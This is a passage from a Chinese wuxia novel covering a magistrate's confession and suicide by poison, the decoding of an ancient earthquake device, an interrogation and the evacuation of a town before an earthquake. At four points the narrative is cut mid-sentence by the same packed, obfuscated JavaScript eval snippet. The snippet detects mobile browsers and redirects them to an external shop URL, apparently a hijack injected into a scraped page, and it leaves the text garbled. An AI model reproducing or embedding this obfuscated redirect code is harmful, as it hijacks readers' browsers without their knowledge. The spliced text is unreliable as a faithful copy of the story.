沈曜把手上的东西往地上一放,先把身上的狐裘大衣脱下来,强行给李静安披到身上。 李静安一看,这还是今早墨云挂在县衙后堂的那件上等狐裘。 “牢里一定没什么好吃的吧?我去了趟厨房,偷了几道新出锅的好菜,还偷了壶酒。” 就跟小孩子分享玩具似的,沈曜兴冲冲的把拎来的桌子摆在李静安面前,然后打开食盒,把热汤热菜一一摆了上来。 他又把筷子直接塞到李静安手里,给他盛好汤,斟好酒:“李大人,反正这菜我也是偷来的,你别跟我客气,先吃口暖暖身子。” 从墨云大早上急匆匆要拉着他演戏开始,他就没吃过一口东西。现在望着一桌子色泽鲜亮又分量十足的热汤热菜,他还真有些馋了。 “菜挺好,像断头饭。”李静安终于说出一句话来。 沈曜一愣,继而哈哈大笑。 笑过后,他自己给自己斟了一杯酒,一饮而尽。 “我中了毒,明日就要死了。若是断头饭,该我先吃。”他道。 满月心中一动,突然想起很多年前,吴州吉同客栈,她好像也听过类似的话。 沈曜喝过酒,又去夹菜。 李静安夹了块肉,夹至嘴边,转而又放下。 “孩子,你那包袱里,装的是什么?”他突然问。 “是下午墨云给我看的账本。”沈曜有些气愤道,“纸张是新的,墨迹也是新的,他还真以为我是个傻的,连骗我都骗得这样潦草。” 满月轻笑了一下。 “这位墨云大人,本身就不是个聪明的。”李静安淡淡道。 “他三日前就来了,才来的那天,他找人去并州大营调兵,嚷嚷着他奉了左太尉的命令,只要你进成纪县的大门,就立刻斩了你。” “谁知道,今天早上他突然又要找传国玉玺,就为这事儿,他先是让大军缓一日进城,又要拉我在你面前演这么一出烂戏。这账本是我今早上为了演戏制出来的,半日功夫,做的不好。” 沈曜吃惊:“做的不好?除却纸张和墨迹不对以外,你这账本每一笔数额都记得清清楚楚,更找不出一处错误。若这样都算是写的不好……” 李静安没答他,趴在地上,在南墙根乱摸一阵,终于找到一块松动的砖,他把砖块挪开,从底下掏出一个包袱来。 他把包袱抱在怀里,问满月:“听说你们大武宗的人,想入仕,得先拜码头。那你们知不知道,我们太学院的人,想入仕,得先干什么?” “那自然是先学四书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022416|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五经,再考科举。”沈曜说。 “笑话!”李静安道,“这世道,除却你这种不愁生计的王公子弟,谁单凭四书五经就能吃得上饭?” “我们读书人,想入仕,那得先学会算账。”李静安说着,把包袱打开,包袱里,是厚厚的三本账本。 “这第一个账本,是给皇上看的。这账本里头,要有进项,又不能有太多进项。钱要花在百姓身上,又不能全花在百姓身上。丰年漂亮些,灾年拮据些,贵在一个细水长流。”李静安拿拇指翻着第一本账,慢慢道。 “什么意思,我听不懂。”沈曜说。 李静安不答,又去翻第二本账。 “给皇上看的账,讲究一个冠冕堂皇,当官的心知肚明,没人会仔细看。当官的要看的,是这第二本账。一个县的税银统共就那么点,皇上一份,国库两份,剩下那七份,什么仙鹤、锦鸡、孔雀、大雁、白鹏、鹭鸶,几张尖嘴凑一块儿那么一啄,百姓一年的收成啊,到头来米都剩不了一粒。偏偏他们还嫌少。嫌少怎么成?嫌少他们就会以为是我们这些小鹌鹑抢了粮。所以,这第二本账怎么做,有大学问。” 沈曜听懂了,但不愿意相信。他抢过第二个账本,自己仔细翻看。 铁栅栏外的烛台上,烛火有些暗了。沈曜看账看得吃力,满月便转身去剪烛芯。 李静安的手抖了一下,翻开第三个账本,取出里面夹的那颗草,用指甲截了一小块,快速放进酒杯里。 “这第三本账,才是我自己的。”他一页一页摩挲这那个账本,慢慢道:“寒窗苦读这么多年,当个芝麻小官不容易,不能把乌纱帽给丢了,吏部得打点;黄河闹腾的厉害,我们这些县,最怕的就是服徭役,工部得打点;一个县的百姓得吃饭,有灾荒了,得发的下赈灾粮,没灾荒了,不能多征粮,这一块儿,我没打点好,所以今年县里多了好几样税……衙役、师爷、地头蛇,这些人,得真心帮我办事儿,所以他们也得打点……” 他说完这些,突然苦笑起来:“我来赴任的时候,满月女侠你问我,能不能保证做个清官,我说能。那我今日来问问你满月女侠,你看我这一本账,一年经手白银百万两,没一钱是自己的,你说,我算不算是一个清官?” 满月拿去他那第三个账本,越翻脸色越凝重。她到底是名利场的局外人,难想得到这么多弯弯绕绕。 李静安又拿起筷子,一桌子的菜都冷了,可他现在食欲很好,风卷残云般的,几道肉菜顷刻之间就见了底。 他的手抖了一下,最后还是拿起那杯酒。 “听说要来钦差大臣的时候,我就把把账本藏在了这间牢房里。那时候也不知道这钦差是来干什么的,单纯就想着,万一真查出我点什么来,下了大狱,这几本账我也不能叫他们见光。” “可是今日看见你们,我突然又改了主意。” 他说到这里,突然卡住,脸色也浮现出痛苦之色。 满月一惊:“你吃什么了?” 她视线扫过,突然就发现了掉在桌下的那颗万枯草。 李静安又自顾自说起来:“今晚找来的是你俩,不是墨云,挺好……” 他说完,突然窒息了一般,软软的瘫倒在地上。 “读书人啊,诚意、正心、修身、齐家……治国……平……平……”话还没说完,他便没了气息。 35. 龙图三变 借着莹莹微光,小亭趴在地上,地动仪的草图、几个门派的古籍、笔锋各异的日记四散于她身边。 她研究得入神,雕弓帮不上忙,就在一边运功与毒气做对抗。 不知过了多久,小亭蓦然起身,一阵风带得纸张纷飞。 “雕弓哥哥,我全明白啦!”她大叫一声,眼底还带着参透奥秘的亢奋和震撼。 “怎讲?”雕弓体力恢复了一些,此时便起身凑到小亭身畔。 “你看,这是华山派的秘籍!”小亭拿起一本泛黄的古书,指着其中一段话,道,“这上面说,有一种石头叫灵机石,上古时虽火山喷发时从地心跃出,它材质独特,蕴含巨大能量,每次能量迸发,都会诱发地动。” 她快速翻了一页,指着三张图,激动道:“这是失传已久的易龙图!先秦时华山派老祖将灵机石制成一把锁和三十个石球,这一锁三十球,辅之以易龙图阵法,便可以操纵地动方位。至于怎样操纵,这上面写得不全,但是我想来想去,如今已经想出来了一个大概。” 她说完,先指向木桩上的黑色石球,道:“你看,这正是由灵机石制成的三十个石球。它们的位置,也正对应龙图三变中第一变的地数方位。还有半空中那些流萤,正对应龙图一变中的天数方位。想来这龙图三变,每一变都与地动息息相关。” 她又低头在地上一扫,捡起她画的那两张草图,举起其中一张,道:“这是我根据书上的描述和自己的猜测,绘出的张衡先生地动仪的构造。” 她又换成另一张图纸,道:“这是洞中地动仪的构造。原理和张先生的地动仪相差无几,只是它经过改装,原本樽中只有一个小球,它却有八个小球。如此一来,这座地动仪不但可以预测地动方向,还可以检测地动中心……不,如今它所在之处,就是地动中心!” 雕弓仔细看那两张图,看不出个所以然来,便直接问:“如果这里是地动中心,又该如何确认地动的波及范围?” 小亭放下图纸,问雕弓:“雕弓哥哥,你还记得成纪县的布局是怎样的吗?” 雕弓想了想,道:“布局似与其他城池无异。” 小亭眉毛一扬:“我就知你们进城时一定不会发现玄机。” 她说罢,抬头指着头顶最高处流萤摆就的北斗七星,道:“咱们这座县衙,四四方方占了一条街,东西南北四角,各有一座小楼,分别叫天枢阁、天璇阁、天玑阁、天权阁。由天权阁向南,另一条街街口,有个玉衡书院,再向东南,有一个开阳茶社,再向南一条街,是一个叫摇光楼的大酒楼。我来时就觉得这些名字连起来刚好凑一个北斗七星,实在取得巧合。如今看来,这里面果然另有玄机。” “所以你的意思是,这一条流萤凑成的北斗七星,正对应了这几个方位?”雕弓问。 “正是。”小亭道,“不但如此,你瞧那二十八宿,也各代表成纪县的一个方位。” 雕弓奇道:“这又怎讲?” 小亭道:“沈曜审案的时候,我仔细研究过成纪县的地图,以县衙为中心,四散向外,成纪县一共十二里坊。” 她说完,先指向斗牛两座星宿处,道:“这里,叫吴越里。” 她又指向女虚危处:“这里,叫齐家坊。” 她又一一指向室壁、奎娄、胃昂毕、觜参、井鬼、柳星张、翼轸、角亢、氐房心、尾箕几座星宿,分别介绍,这些星宿,又分别对应卫家坊、鲁家坊、赵家坊、魏家坊、秦家坊、周家坊、楚家坊、郑家坊、宋家坊、燕家坊。 雕弓望着“满头星斗”,还是有些不解:“你怎能确定这些地点和这些星宿相对应。” “吴越齐卫鲁这些,都是先秦古国名称,所在的方位,与二十八宿方位一致。”小亭又道,“雕弓哥哥,你没看过地图,地图上这些里坊的样子,也跟这些星宿很像。” 雕弓听懂,不住点头,赞道:“你小小年纪知道这样多,真了不起!” 小亭道:“这些还不够,至于能不能组织这场地震,需要我们两个合力一试。” “怎样试?”雕弓问。 “雕弓哥哥,还得烦你再负我一回,我先把蟾蜍嘴里的八个小球放回原位。”小亭道。 雕弓照做。 “雕弓哥哥,你会不会弹琴?”小亭又问。 雕弓为难:“我只在太子弹琴时旁观过几回,略识一点琴谱。” “能识谱就够啦!”小亭从地上又捡起一本《武林盟奇功》来,翻到“两仪四象功”一页,指着其中一处叫“龙图三变曲”的琴谱,道:“雕弓哥哥,你从第二段开始弹。” 雕弓试探着弹了一个音,琴弦纹丝不动。 “弹这把琴需要运用内力。”小亭在一旁讪讪道,“我才试过,我弹不了,一定要找你来弹才行。” 雕弓适才体力有所恢复,他试了试,内力尚能运转,于是运内力于指尖,磕磕绊绊弹下第一个音节,又弹下第二个音节,渐渐的,他找到感觉,弹得俞来俞好。 琴音时而厚重,时而空灵,琴声入耳,雕弓只觉得一直被毒气折磨的身体突然轻松许多。 与此同时,琴音扩散至整个地洞,一直保持一个方位不动的萤火虫突然开始发生变化,有些向左右平移,亦有些流萤开始向下降落。 “果然,我猜的没错,低空的流萤代表天阳二十五数,地上黑球代表地阴三十数。”小亭观其变化,喃喃自语:“龙图第二变,天地相合,则天地之数交错。六分而成四象,地六不配。在上则一不配,形二十四,在下则六不用,亦形二十四。” 她一面说着,一面依口诀去挪动木桩之上的黑色小球。说来也怪,方才还不论如何都无法挪动的小球,如今随着天上流萤开始挪动,也出现了松动。 她根据口诀和图纸,把小球摆成龙图第二阵模样。刚一摆成,只听得地动仪发出“呛郎朗”的声响,八个小球又一次同时落地。 与此同时,最上空的“北辰星”突然四散消失。 “如何?”雕弓停下弹琴的手,问。 “当是八方有震,中心无恙。”小亭略一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049811|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思索,道,“雕弓哥哥,咱们先把球放回去,再弹下一段。” 片刻,地动仪归位。 雕弓继续运息弹琴。 低空的流萤又一次变换方位。 “龙图第三变,天一居上为道之宗,地六居下为地之本,三干地二地四为之用,三若在阳则避孤阴,在阴则避寡阳……” 小亭根据口诀,又去挪动黑球。 一切就位。 “北辰星”又一次亮起,“二十八宿”同时熄灭。 这一次,地动仪内部轻晃了一下,却并无小球弹出。 “是四方无恙,而中心有震。”小亭脸色明显一慌,道,“雕弓哥哥,你再弹第一段!” 雕弓此时已越弹越熟,他立刻运气改变指法,去弹第一段。 低空的流萤又变回最开始模样。 “龙图第一变,天地未合,天数在上,地数在下。” 小亭又将黑球摆回最开始模样。 高空中北辰星二十八宿同时亮起,地动仪内部强烈晃动,八个小球同时弹出。 “中心、四方皆会地震!” “原来龙图三变,三变均有地动!”小亭脸色一白,跌倒在地。 地牢中。 “李大人?” “李大人你醒醒!” 活生生的人命消失在眼前,沈曜一时无法接受。 “满月女侠,有没有办法能救救他?”他急急问道。 满月捻起那颗草,摇摇头:“是万枯草。” 沈曜身子一颤。 万枯草,就是他血毒的源头。 满月拍拍他的肩膀:“别怕,你还活着,就一定有办法。” 沈曜强撑着站起来:“走,我们先去疏散百姓……我们先去疏散百姓……” 满月把地上的账本又重新放回包袱里,拽住沈曜,塞给他。 “你得活着,得亲自把天翻过来。”她平静道。 沈曜烧得恍恍惚惚,他抱着账本,看着眼睛近在咫尺的满月,突然道:“满月姐姐,我好冷,你可不可以抱抱我。” 满月一怔。 “就一下。”沈曜一脸潮红,小声嘟囔,“真的很冷很冷。” 满月抓起沈曜的右手,按住他的太渊、阳池二穴。 “我不要内力。”沈曜委屈,一头歪倒在满月肩膀上。 满月无奈的拍了拍沈曜的后背,触到后颈,果然感觉烫的吓人。 她也有点心疼这小孩儿。 就在这时,沈曜却突然清醒过来,趴在她肩上说:“下午暴毙的那个官兵,症状跟李大人无异,此番想来,他口中含了小亭带血的手帕,一定也是中了崆峒血毒。旁边那个官兵立刻就解围说这是喘喝之症,这么看,那个官兵一定是了解崆峒血毒的。” 满月点点头:“交给我,我去审他。他若不知道,我再去找那个妇人。” 沈曜终于把头抬起来:“好,那我去疏散百姓。” 满月问:“你打算怎么疏散?往哪里疏散?” 36. 大难前夕 雕弓和小亭背对着背,每人手里都拿着一本秘籍。 小亭拿的是《武林盟奇功》,她双手颤抖,最终还是把秘籍背面朝上放在地上。 “雕弓哥哥,我选好了。”她说话的声音都有些发颤。 雕弓淡定许多:“我也选好了。” 小亭站起来,往雕弓那边一看,只见雕弓拿的那本华山派秘籍,也倒扣在地上。 她不知该高兴还是不高兴。 这主意是雕弓想的。 每人拿一本书,正面朝上是选择保北辰位舍二十八星宿位,反面朝上就是选择保二十八星宿位。 保北辰位,住在县衙的沈曜一行人无恙,在地底的小亭雕弓二人大概也能活。但一城十二里坊的百姓一定会伤亡惨重。 保二十八宿位,百姓能活,但是,且不说沈曜他们会不会死里逃生,小亭雕弓怕是一定会葬身地底。 一边是一城百姓的性命,一边是自己和至亲好友的性命,孰轻孰重,这本就不该由两个还不到二十岁的孩子来抉择。 雕弓也不知该怎么办了,这才想出这样一个主意。 雕弓其实是这样想的:自己就随便一选,届时看小亭选什么,他都依小亭就是。 如若她选保百姓性命,那就当是积累功德,到头来不过是陪她死在这地底。小亭都不怕,他男子汉大丈夫,死则死耳,何能惧哉? 如若小亭选择保自己一行人,那也听她的。大不了出去之后他就跟人家说,这是他雕弓选的路,骂名由他担着,就算以死谢罪也不是不行。 他雕弓不是圣人,更不能强迫身边任何一个去做圣人。但至少,自己可以成全他人,杀身成仁。 小亭却不是这么想的。 小亭很怕死。 但小亭心目中的雕弓哥哥是个君子。君子有大爱,君子总是会舍弃自己成全别人,所以她猜测雕弓哥哥一定是个会选择保护百姓的人。 她不能叫雕弓哥哥看低了自己。于是,她纵使害怕,还是毫不犹豫的把书叩向反面。 她见两人结果一致,便故作轻松道:“八方都是百姓,中间除了县衙,大多是商业街,夜来人少些,这样伤亡最小。我们果然想的一样。” 雕弓怜爱的摸了摸小女孩满是细汗的额头,叹了口气,只是说:“那我来弹琴。” 雕弓的琴声苍凉,小亭心里害怕,把小黑球摆错了好几回。 最终,还是摆成了龙图二变的阵法。 地动仪抖了抖,没有小球落出。 二十八宿位的流萤四散开来,又全部聚集到了北辰位。 低空中表天数的流萤却越来越暗。 小亭坐在地上,指着那些越来越暗的流萤,道:“雕弓哥哥,你说,会不会等这些流萤都暗下来,地动就来了。” “也许我们都想多了,地动根本就不会来。”雕弓坐到她身边,温声宽慰。 小亭忍不住往雕弓身前靠了靠,问:“雕弓哥哥,你说千百年之后,万一有一天人家找到了我们俩埋于地底的白骨,那时候,我们两个的白骨会不会就像现在这样,紧紧依偎在一起?” 雕弓还未回答,小亭继续幻想:“你说他们会怎样想我们?会以为我们是兄妹?还是父女?甚至,会不会以为我们是夫妻?” 真是孩子话!雕弓在心里叹了口气,转眼看到倒扣在地上的武林秘籍,他突然又生出些希望:“小亭,你说这些秘籍里有没有指引我们逃出这里的方法?” 外面门上挂的是灵机锁,昔年七侠练成威震天下的两仪四象功,尝试以此功破门,都没能把那把锁震开。最外面那道门怕是开不开的。小亭这样想着,却不想再给雕弓泼冷水。 她灵光一现,道:“雕弓哥哥,要不我们试着练练两仪四象功吧?” “二七同宗,虽是七人阵法,说不定我们两人也能练成!” 日记里说,练成这个功法的诀窍,就是阵中之人全心全意关注阵中同伴,七人心意合一。 她有点自私的想,如果练成了两仪四象功,那么临死之前,眼前这个英挺又温暖的大哥哥心中就会只装着自己一个人。 沈曜从满月那里讨了金针的解药,他回到满月杀掉胡大人击晕官差的地方,把官差救醒。 随后,沈曜根据县里的差役户籍册,把他们分成十四组。 其中十二组分别被派到他们最为熟悉的一个里坊,配合当地里正,务必要在一个时辰之内把片区内全部百姓疏散到附近空地。 另外一组人多些,每人负责一条商业街,一个时辰之内他们需把全城商业区巡查完毕,确保没有人留在商户的建筑之内。 另有一组,原地待命,负责接应或替补各路兵马。 沈曜没有跟他们说要地震,他只是从自己西行的货物中挑了一马车黄金拉来,把金锭子明晃晃的堆在官差们面前。 “所有人,最先完成任务的,赏金一百两;第二个完成任务的,赏金九十两,第三个完成任务的,赏金八十两,其余人,只要一个时辰之内完成任务,均赏金二十两。如若一个时辰内没完成任务……” 他说到这里,指了指站在瞭望台之上的满月,颇有气势道:“没完成的,斩立决!” 这一番恩威并施颇具成效,一声令下,官差们几乎是飞奔出县衙,各显神通的去自己所负责的片区疏散百姓。 瞭望台之上,满月把一切尽收眼底。布置任务时,沈曜不慌不忙,面面俱到,又颇有威严,倒真有点太子该有的样子。 她赞许地点了点头,松了松手,手里拎着的那个官差“啊呀”大叫一声,身子向下坠去。 眼看着要坠下高台,她又一伸脚尖,把那人挑了上来。 “怎么样?要是还不说,我就直接把你掷下去。”她淡淡道。 失重感和濒死的恐惧感交织,那官差再站回高台时,裤子已经湿了一片。 “我说!我说!我全都说……” 满月点点头,把手一松,那官差瘫倒在逼仄的瞭望台上,他打着哆嗦,一点一点道:“我确实是崆峒派的后人,那个妇人是叶小姐贴身丫鬟的女儿,我父亲也曾是叶小姐的护院,女侠想问什么,我都说,求求女侠,饶我一命……” 他被吓傻了,絮絮叨叨个不停,满月直接打断:“谁能解崆峒血毒?” “晚烟,就是这回和墨云大人一起来的那个晚烟副使!” “你确定?” “确定,千真万确!”官差道,“她是叶小姐和孙戊孙将军的女儿,那年镇西王余党伙同老掌门作乱,孙将军来平叛,孙将军知道崆峒血毒的厉害,没有贸然开战。他先用计谋给崆峒派众人下毒,之后带着全身防护好的大军,把崆峒派全部弟子杀于梦中,却独留了叶小姐和她的两个贴身丫鬟、一个护院。我父亲就是那个护院。” “叶小姐就是崆峒叶掌门的女儿叶泯?”满月问。 “正是。”官差又道,“那年朝廷大军得胜归朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097490|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都说孙将军为了平叛深入虎穴,最后在成纪县失踪。其实不是这回事!他和叶小姐两个人住进了成纪县一个叫无极洞的地方,那地方还挺有意思的,入口正好在县衙一个饭厅。” 满月本想打断他,一听入口县衙一个饭厅,心想:这不是雕弓小亭被困住的地方嘛?不知里面是怎样一番光景。 她这样一想,便继续去听。 “孙将军杀了小姐一家,小姐是不愿意再和孙将军好的。可是他俩毕竟余情未了,我们也不知道怎么的,隔了那么几个月,别看小姐还整日以泪洗面,却在无极洞里怀上了孙将军的孩子。” “孙将军那时候特别高兴,把小姐照料得无微不至,我父亲也是跟着日日忙活,只盼孩子出生能缓解叶小姐灭门之痛。谁知道,叶小姐生下孩子之后,偷摸着喝凉水自杀了。孙将军悲痛欲绝,在棺椁前守了七七四十九天,之后一个人抱着孩子回了京城。” “后来晚烟副使到成纪,她秘密找到我们几个,要求我们不论如何都要想办法把血沾到你们身上。那时我见她知道这些隐蔽之事,眉眼又和叶小姐有几分相像,几番打听,又得知她是孙戊将军的女儿,于是便确定下来,她一定是叶小姐的女儿!” 满月没听到太多自己想要的信息,便又问:“这些年京城有没有一个叫李巍的人来过成纪?” “李巍?女侠你说的可是华山派李巍?他是叶小姐年少时的好友,前几年还来祭拜过叶小姐。” “他也是个重情义的,他来那会儿拉着十车东西,在无极洞里守了三天三夜,这才回京。” “拉着十车东西?”满月察觉到不对。 “对,十辆大车!”那官差回忆一下,说,“那时候是我和我父亲一块儿接待的他,他那十辆车有九辆都特别沉,我偷偷瞧过,那九辆车,有一辆拉去了吴越里,一辆拉去了卫家坊,另外还有几辆,似乎也拉去了不同地方。” “他没带进无极洞去?”满月问。 “女侠,你是没见过,无极洞入口很小,带不进那么多东西去,李先生进洞的时候就背了一个小包袱,说是吃穿之物。后来他离洞,家父想回洞中打扫一下,谁知道那洞口居然被堵住了,是以我们也再没进去过。” 满月俯视着成纪县颇为讲究的布局,最初涌上心头的那个预感变得越来越强烈。 成纪县、灵机锁、李巍、五行八卦、奇门遁甲…… 李巍,很有可能那个设计书冢外各种机关的人,这样说来,李巍是她在奇门遁甲之数上的启蒙人,也是她的老对手。 这个人,还是三年前参与谋害侯意平的至关重要一环:三年前,如果不是李巍利用归舟放各种烟雾弹来迷惑官晏宁,也许侯意平就不会那样容易就被左仪害死。 这个人,最擅长的就是制造各种干扰信息,让明明离真相很近的人,一步一步自行远离真相。 这个人,还是戚无言坚定不移的拥护者。他和戚无言,不论是谁,都极擅长操纵人心。如果真的是他们要制造这一场地震,他们想要得到什么呢? 满月闭上眼睛,略做思考后,突然睁开眼睛,在瞭望台上用内功呼唤沈曜:“沈曜,中心商区不用动,把吴越里、齐、卫、鲁四坊居民转移到县衙之内,将赵、燕、宋三坊居民转移到天权阁至玉衡书院一带,将魏、郑两坊转移到玉衡书院到开阳茶社一带,将其余三坊转移到开阳茶社到摇光楼一带。所有居民,全部就近往中间商区集中,十二坊里不要留人。” 37. 山崩地裂 满月内力强劲,这一番号令不仅传到沈曜耳中,也被他身边几个留作替补的官差听了去。 他们见派出去做事的官差都有金子可拿,本来就不平衡,此时听到满月的话,怨气又增加了几分。 “明明大晚上把人从屋里叫出来就很是麻烦,还要朝令夕改,真不知道他们不知道在折腾个什么劲。”一个官差悄声抱怨。 “她有想法,早点说也就是了,到现在才说,白白又要忙活好一阵子。”另一个官差小声附和。 沈曜烧得晕晕乎乎,又不太熟悉成纪县的地图,他反应了好一会儿,才弄明白满月的意思。 听到那俩官差的抱怨,他不动声色的向他俩招招手。 “你俩,过来。” 他俩住了嘴,却还是有些欺负小孩,站了原地没有动。 “不过来也没什么,放你俩回家睡觉。”沈曜淡淡说。 他俩更是不肯回家的。今夜闹了这么大的动静,明眼人都看得出来,里坊里怕是有大事要发生。这种情况下,他们不敢和大部队背道而驰。 沈曜便暂且不管他俩。 “剩下的诸位,烦你们用最快的速度把刚才满月说的话通知给十二里坊,并协助他们把这个任务完成。一个时辰之内能完成任务的,赏金五十两。” 这些人一听自己也有金子拿,立刻便分配好各自通知的里坊,然后骑上马头也不回的向目的地冲了过去。 “太子殿下,我们知错了……”剩下的那俩官差试图挽救差点到手的金子。 沈曜没给他们机会:“第一,我容不下扰乱军心的人;第二,我不允许有人诋毁满月。” 周身又是一阵疼痛,他把自己的衣服裹紧了些,神色不变,硬忍了过去。 两个官差不知沈曜中毒,他们见眼前的小公子脸色冷酷,沉默不语,还当他是在思考怎样处置自己。 他俩生出些怕意来,刚想请罪,只听沈曜吩咐其中一个人:“你去通知中心街市的那八个人,告诉他们不用再搜人了,刚才满月说的那四个区域,每个区域去两个人维持秩序,务必保障好百姓的安全。” 那人没走,眼巴巴的瞧着那一车黄金。 “没你的份儿,你只有干不好活儿杀头的份。”沈曜道。 那人这才干活去。 沈曜又指指身后那座高耸的瞭望塔,吩咐另一个人:“你爬上去,把满月叫下来。” 那人心底一凉:爬个塔倒是没什么,可是爬上去后要见到自己才抱怨过的满月女侠。都说武功高强的人耳力极好,不知道刚才自己那一句抱怨满月女侠有没有听见,万一听见之后报复自己…… 果然,他刚哼哧哼哧的爬上去,话还没说一句,满月就一脚把他身后的梯子踢飞了。 “你敢欺负小孩,我今日就必须要好好教训你。”满月道。 那人抓着栏杆,吓得不知怎么说话。 “女侠,没了梯子,我们怎么下去?”身后那个崆峒派的小心翼翼发问。 满月道:“你俩先不要下去,眼下正有个戴罪立功的机会给你们两个。” 她说完,分别趴在两个官差耳边交代几句,随后施展轻功,轻飘飘跃下这座五丈多高的瞭望塔,奔至沈曜面前。 沈曜扑通一下就磕到满月肩头上。 满月一惊,下意识退回一步:“沈曜,你做什么?” 沈曜不答,反而把头埋得更深。 满月拉起他的手来,只觉得他的手忽冷忽烫,一试他的脉象,已经十分虚弱。 她也就由着沈曜折腾自己,一面为他输送内力疗毒,一面安慰:“你别害怕,我知道谁能解毒了,你再忍一下,我去把那个人捉来。” “是谁?去哪捉?” “晚烟。她走不远,也许就在并州大营。”满月道。 “过会儿再去,等地动结束着,省的伤你。”沈曜道。 “不去也行,就这么陪我待会儿,死也值了。”他又含糊不清的嘟囔了一句。 满月没听清这句,问他:“你说什么?” 沈曜遮掩道:“我想问你,我刚才安排的好不好?” “好。”满月想着晚烟的事儿,答得心不在焉。 “才说一个字。”沈曜声音有点委屈。 “你怎么这么麻烦?”满月有点不耐。 “你还是这么凶。” 满月一听这话,直接把输送内力的手抽出来,把沈曜推开:“你好好在这里坐着,我得去看看灵机锁。” 无极洞内。 雕弓琴声不停,小亭体内热血沸腾。 她依照《武林盟奇功》上的方法,一掌一位移,翩若惊鸿。 她最初还常常偷看雕弓弹琴,到现在,已经完全沉浸在了两仪四象功之中。 如此重复了二十八回四象掌法,小亭已经可以做到随心所欲,抛却书上的规定,自行根据琴声变换掌法。 雕弓琴声急促,她便掌风凌厉;雕弓琴声舒缓,她便掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144985|132809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法柔美。雕弓抚琴弹至高潮,她双掌对着石墙用力,石墙裂开一道大口子,碎石噼里啪啦的往下掉。 于她而言,这还是平生第一次感受到内力带来的巨大能量,还有练武给经脉带来的舒畅通达。 忽而。 萤火虫火光熄灭,小黑球剧烈颤动,四面八方传来巨响。继而,无极洞也开始摇晃。 她忍不住又偷看了一眼雕弓。 没有光,她什么也看不见。 她鼓起勇气,大喊一声:“雕弓哥哥,我这几日最大的梦想,就是快快长大,给你做新娘子!” 雕弓琴声一滞。 正在这时,只听得头顶传来一声巨响,似乎房屋轰然倒塌。 洞口传来一点光亮。 紧接着,就听见满月大喊:“雕弓,小亭,你俩快上来!” 小亭有点不知所措:“这可是幻觉?” “雕弓,小亭,我把房子弄塌了,你俩还能喘气儿就赶紧爬上来!”满月又叫了一声。 雕弓抱起琴,见小亭愣在那里不动,又一把抱住她,施展轻功顺着来时的路往上爬。 越向上,外面动静越大,那巨大的响声,似山崩地裂,似末日降临。 “满月姐姐,你们快走,要地震!”小亭一路朝着洞外疯了似的大喊。 满月在洞口伸手把小亭从雕弓那边接过来:“你们没事吧?” “要地震,快……”雕弓和小亭一句话还没说完,就看到了让他们毕生难忘的一幕。 四面八方的土地掀起层层巨浪。 不远处,大地裂开了一道长长的深不见底的口子,又迅速合上。一整片宅子,瞬间被吞入深渊。 地面上,只剩了烟尘滚滚。 远处大山摇摇晃晃,最终四分五裂,巨大的落石滚落下来,无情的砸向种满粮食的田地…… 他们身边,人挤人的,挤满了还穿着睡袍的百姓,百姓们或是瘫倒在地,或是相互搀扶,或是伸手挡住小儿双目,或是仰天痛哭大呼命苦。哭声喊声,声声哀恸,声声凄厉。 “我的老宅子呀……” “我的地呀……” “我才盖的新房子啊……” “作孽啊……” 小亭惊恐的说不出话来。 满月握着适才击垮屋子之后落下来的灵机锁,道:“不幸中的万幸,百姓都及时转移出来了。” 小亭跟雕弓对视一眼:不是说好保十二里坊吗?怎么会这样? 38. 十面埋伏 变故来得太突然,沈曜派出去的官差忙得够呛,一时半会儿没人有功夫回来领金子。 他守在那架马车旁边,见百姓们痛哭,便劝道:“大家想开一点,至少我们把命保住了。” “保住命有什么用,房子没了,地没了,我们活着还有什么指望?” “房子没了可以再盖,地没了可以再种嘛,留得命在,大不了从头再来。”他道。 一个婆婆瞅着他,一副教训人的口吻道:“你是哪家的少爷吧?自己没吃过苦,有什么资格教我们豁达?要我说,有本事你就把你那一车的好东西分了,好过在这里给我们这些没家的老百姓指指点点。” 